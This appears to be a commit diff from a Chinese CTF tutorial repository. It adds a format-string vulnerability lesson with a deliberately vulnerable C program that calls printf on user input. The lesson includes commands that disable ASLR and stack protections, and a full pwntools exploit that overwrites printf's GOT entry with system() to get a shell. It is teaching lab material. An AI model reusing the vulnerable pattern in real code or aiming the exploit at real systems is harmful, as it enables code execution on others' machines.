mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
update format string
This commit is contained in:
parent
2c0cb373ec
commit
0b9bc02dd8
@ -19,7 +19,11 @@ skanlite cantata kdenlive konversation libreoffice-still thunderbird-kde k3b cup
|
|||||||
|
|
||||||
yaourt -S:
|
yaourt -S:
|
||||||
|
|
||||||
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git
|
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec
|
||||||
|
|
||||||
|
pip3/pip2 install:
|
||||||
|
|
||||||
|
r2pipe
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
- [gdb 基本工作原理](#gdb-基本工作原理)
|
- [gdb 基本工作原理](#gdb-基本工作原理)
|
||||||
- [gdb 基本操作](#gdb-基本操作)
|
- [gdb 基本操作](#gdb-基本操作)
|
||||||
- [gdb-peda](#gdb-peda)
|
- [gdb-peda](#gdb-peda)
|
||||||
- [GEF/pwngdb](#gefpwngdb)
|
- [GEF/pwndbg](#gefpwndbg)
|
||||||
|
|
||||||
|
|
||||||
## gdb 的组成架构
|
## gdb 的组成架构
|
||||||
@ -80,7 +80,7 @@ $ echo "DONE! debug your program with gdb and enjoy"
|
|||||||
- `xormem` - 用一个 key 来对一个内存区域执行 XOR 操作
|
- `xormem` - 用一个 key 来对一个内存区域执行 XOR 操作
|
||||||
|
|
||||||
|
|
||||||
## GEF/pwngdb
|
## GEF/pwndbg
|
||||||
除了 peda 外还有一些优秀的 gdb 增强工具,功能大致相同,可以看情况选用。
|
除了 peda 外还有一些优秀的 gdb 增强工具,功能大致相同,可以看情况选用。
|
||||||
- [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers
|
- [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers
|
||||||
- [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy
|
- [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy
|
||||||
|
@ -7,9 +7,11 @@
|
|||||||
|
|
||||||
|
|
||||||
## 格式化输出函数和格式字符串
|
## 格式化输出函数和格式字符串
|
||||||
|
|
||||||
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
|
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
|
||||||
|
|
||||||
#### 函数
|
#### 函数
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
@ -21,6 +23,7 @@ int snprintf(char *str, size_t size, const char *format, ...);
|
|||||||
```
|
```
|
||||||
|
|
||||||
#### 转换指示符
|
#### 转换指示符
|
||||||
|
|
||||||
字符 | 类型 | 使用
|
字符 | 类型 | 使用
|
||||||
--- | --- | ---
|
--- | --- | ---
|
||||||
d | 4-byte | Integer
|
d | 4-byte | Integer
|
||||||
@ -30,6 +33,7 @@ s | 4-byte ptr | String
|
|||||||
c | 1-byte | Character
|
c | 1-byte | Character
|
||||||
|
|
||||||
#### 长度
|
#### 长度
|
||||||
|
|
||||||
字符 | 类型 | 使用
|
字符 | 类型 | 使用
|
||||||
--- | --- | ---
|
--- | --- | ---
|
||||||
hh | 1-byte | char
|
hh | 1-byte | char
|
||||||
@ -38,6 +42,7 @@ l | 4-byte | long int
|
|||||||
ll | 8-byte | long long int
|
ll | 8-byte | long long int
|
||||||
|
|
||||||
#### 示例
|
#### 示例
|
||||||
|
|
||||||
```
|
```
|
||||||
#include<stdio.h>
|
#include<stdio.h>
|
||||||
#include<stdlib.h>
|
#include<stdlib.h>
|
||||||
@ -57,6 +62,7 @@ printf("%s%n", "01234", &n); // n = 5
|
|||||||
|
|
||||||
|
|
||||||
## 格式化字符串漏洞基本原理
|
## 格式化字符串漏洞基本原理
|
||||||
|
|
||||||
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
|
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
|
||||||
```c
|
```c
|
||||||
#include<stdio.h>
|
#include<stdio.h>
|
||||||
@ -265,9 +271,11 @@ Hello 32 f7f95580 565555f4 !
|
|||||||
|
|
||||||
|
|
||||||
## 格式化字符串漏洞
|
## 格式化字符串漏洞
|
||||||
|
|
||||||
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
|
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
|
||||||
|
|
||||||
#### 使程序崩溃
|
#### 使程序崩溃
|
||||||
|
|
||||||
格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
|
格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
|
||||||
|
|
||||||
利用类似下面的格式字符串即可触发漏洞:
|
利用类似下面的格式字符串即可触发漏洞:
|
||||||
@ -279,6 +287,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
|||||||
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
|
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
|
||||||
|
|
||||||
#### 查看栈内容
|
#### 查看栈内容
|
||||||
|
|
||||||
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。
|
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。
|
||||||
|
|
||||||
|
|
||||||
@ -290,3 +299,104 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
|||||||
|
|
||||||
|
|
||||||
## CTF 中的格式化字符串漏洞
|
## CTF 中的格式化字符串漏洞
|
||||||
|
|
||||||
|
#### pwntools pwnlib.fmtster
|
||||||
|
|
||||||
|
文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html
|
||||||
|
|
||||||
|
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。
|
||||||
|
|
||||||
|
`FmtStr` 提供了自动化的字符串漏洞利用:
|
||||||
|
```python
|
||||||
|
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
|
||||||
|
```
|
||||||
|
- execute_fmt (function):与漏洞进程进行交互的函数
|
||||||
|
- offset (int):你控制的第一个格式化程序的偏移量
|
||||||
|
- padlen (int):在 paylod 之前添加的 pad 的大小
|
||||||
|
- numbwritten (int):已经写入的字节数
|
||||||
|
|
||||||
|
`fmtstr_payload` 用于自动生成格式化字符串 paylod:
|
||||||
|
```python
|
||||||
|
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
|
||||||
|
```
|
||||||
|
- offset (int):你控制的第一个格式化程序的偏移量
|
||||||
|
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got})
|
||||||
|
- numbwritten (int):已经由 printf 函数写入的字节数
|
||||||
|
- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)
|
||||||
|
|
||||||
|
我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
|
||||||
|
```c
|
||||||
|
#include<stdio.h>
|
||||||
|
void main() {
|
||||||
|
char str[1024];
|
||||||
|
while(1) {
|
||||||
|
memset(str, '\0', 1024);
|
||||||
|
read(0, str, 1024);
|
||||||
|
printf(str);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
为了简单一点,我们关闭 ASLR,并使用下面的命令编译:
|
||||||
|
```
|
||||||
|
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||||
|
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||||
|
```
|
||||||
|
|
||||||
|
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
|
||||||
|
|
||||||
|
使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址:
|
||||||
|
```text
|
||||||
|
gdb-peda$ b main
|
||||||
|
...
|
||||||
|
gdb-peda$ r
|
||||||
|
...
|
||||||
|
gdb-peda$ p system
|
||||||
|
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
|
||||||
|
```
|
||||||
|
|
||||||
|
完整漏洞利用代码如下:
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
elf = ELF('./a.out')
|
||||||
|
r = process('./a.out')
|
||||||
|
|
||||||
|
def exec_fmt(payload):
|
||||||
|
r.sendline(payload)
|
||||||
|
info = r.recv()
|
||||||
|
return info
|
||||||
|
auto = FmtStr(exec_fmt)
|
||||||
|
offset = auto.offset
|
||||||
|
|
||||||
|
print_got = elf.got['printf']
|
||||||
|
log.success("print_got => {}".format(hex(print_got)))
|
||||||
|
|
||||||
|
system_addr = 0xf7e17060
|
||||||
|
log.success("system_addr => {}".format(hex(system_addr)))
|
||||||
|
|
||||||
|
payload = fmtstr_payload(offset, {print_got : system_addr})
|
||||||
|
r.send(payload)
|
||||||
|
r.send('/bin/sh')
|
||||||
|
r.recv()
|
||||||
|
r.interactive()
|
||||||
|
```
|
||||||
|
|
||||||
|
这样就获得了 shell:
|
||||||
|
```text
|
||||||
|
$ python2 exp.py
|
||||||
|
[*] '/home/firmy/Desktop/RE4B/a.out'
|
||||||
|
Arch: i386-32-little
|
||||||
|
RELRO: Partial RELRO
|
||||||
|
Stack: No canary found
|
||||||
|
NX: NX enabled
|
||||||
|
PIE: No PIE (0x8048000)
|
||||||
|
[+] Starting local process './a.out': pid 15698
|
||||||
|
[*] Found format string offset: 4
|
||||||
|
[+] print_got => 0x804a010
|
||||||
|
[+] system_addr => 0xf7e17060
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
$ echo "hacked!"
|
||||||
|
hacked!
|
||||||
|
```
|
||||||
|
@ -145,7 +145,7 @@ Partial RELRO Canary found NX enabled PIE enabled No RPATH No RU
|
|||||||
No-eXecute,表示不可执行,其原理是将数据所在的内存页标识为不可执行,如果程序产生溢出转入执行 shellcode 时,CPU 会抛出异常。其绕过方法是 ret2libc。
|
No-eXecute,表示不可执行,其原理是将数据所在的内存页标识为不可执行,如果程序产生溢出转入执行 shellcode 时,CPU 会抛出异常。其绕过方法是 ret2libc。
|
||||||
|
|
||||||
#### PIE
|
#### PIE
|
||||||
PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。
|
PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。开启 PIE 时,编译生成的是动态库文件(Shared object)文件,而关闭 PIE 后生成可执行文件(Executable)。
|
||||||
|
|
||||||
我们通过实际例子来探索一下 PIE 和 ASLR:
|
我们通过实际例子来探索一下 PIE 和 ASLR:
|
||||||
```c
|
```c
|
||||||
@ -154,6 +154,54 @@ void main() {
|
|||||||
printf("%p\n", main);
|
printf("%p\n", main);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
```text
|
||||||
|
$ gcc -m32 -pie random.c -o open-pie
|
||||||
|
$ readelf -h open-pie
|
||||||
|
ELF Header:
|
||||||
|
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
|
||||||
|
Class: ELF32
|
||||||
|
Data: 2's complement, little endian
|
||||||
|
Version: 1 (current)
|
||||||
|
OS/ABI: UNIX - System V
|
||||||
|
ABI Version: 0
|
||||||
|
Type: DYN (Shared object file)
|
||||||
|
Machine: Intel 80386
|
||||||
|
Version: 0x1
|
||||||
|
Entry point address: 0x400
|
||||||
|
Start of program headers: 52 (bytes into file)
|
||||||
|
Start of section headers: 6132 (bytes into file)
|
||||||
|
Flags: 0x0
|
||||||
|
Size of this header: 52 (bytes)
|
||||||
|
Size of program headers: 32 (bytes)
|
||||||
|
Number of program headers: 9
|
||||||
|
Size of section headers: 40 (bytes)
|
||||||
|
Number of section headers: 30
|
||||||
|
Section header string table index: 29
|
||||||
|
$ gcc -m32 -no-pie random.c -o close-pie
|
||||||
|
$ readelf -h close-pie
|
||||||
|
ELF Header:
|
||||||
|
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
|
||||||
|
Class: ELF32
|
||||||
|
Data: 2's complement, little endian
|
||||||
|
Version: 1 (current)
|
||||||
|
OS/ABI: UNIX - System V
|
||||||
|
ABI Version: 0
|
||||||
|
Type: EXEC (Executable file)
|
||||||
|
Machine: Intel 80386
|
||||||
|
Version: 0x1
|
||||||
|
Entry point address: 0x8048310
|
||||||
|
Start of program headers: 52 (bytes into file)
|
||||||
|
Start of section headers: 5964 (bytes into file)
|
||||||
|
Flags: 0x0
|
||||||
|
Size of this header: 52 (bytes)
|
||||||
|
Size of program headers: 32 (bytes)
|
||||||
|
Number of program headers: 9
|
||||||
|
Size of section headers: 40 (bytes)
|
||||||
|
Number of section headers: 30
|
||||||
|
Section header string table index: 29
|
||||||
|
```
|
||||||
|
可以看到两者的不同在 `Type` 和 `Entry point address`。
|
||||||
|
|
||||||
首先我们关闭 ASLR,使用 `-pie` 进行编译:
|
首先我们关闭 ASLR,使用 `-pie` 进行编译:
|
||||||
```text
|
```text
|
||||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||||
@ -261,11 +309,11 @@ RELRO | -z now | -z lazy | -z norelro
|
|||||||
|
|
||||||
关闭所有保护:
|
关闭所有保护:
|
||||||
```text
|
```text
|
||||||
gcc hello.c -o hello-L -fstack-protector -z execstack -no-pie -z norelro
|
gcc hello.c -o hello -fno-stack-protector -z execstack -no-pie -z norelro
|
||||||
```
|
```
|
||||||
开启所有保护:
|
开启所有保护:
|
||||||
```text
|
```text
|
||||||
gcc hello.c -o hello-S -fstack-protector-all -z noexecstack -pie -z now
|
gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now
|
||||||
```
|
```
|
||||||
|
|
||||||
- FORTIFY
|
- FORTIFY
|
||||||
|
BIN
src/Others/3.3.1_fmt
Executable file
BIN
src/Others/3.3.1_fmt
Executable file
Binary file not shown.
10
src/Others/3.3.1_fmt.c
Normal file
10
src/Others/3.3.1_fmt.c
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
#include<stdio.h>
|
||||||
|
void main() {
|
||||||
|
char str[1024];
|
||||||
|
while(1) {
|
||||||
|
memset(str, '\0', 1024);
|
||||||
|
read(0, str, 1024);
|
||||||
|
printf(str);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user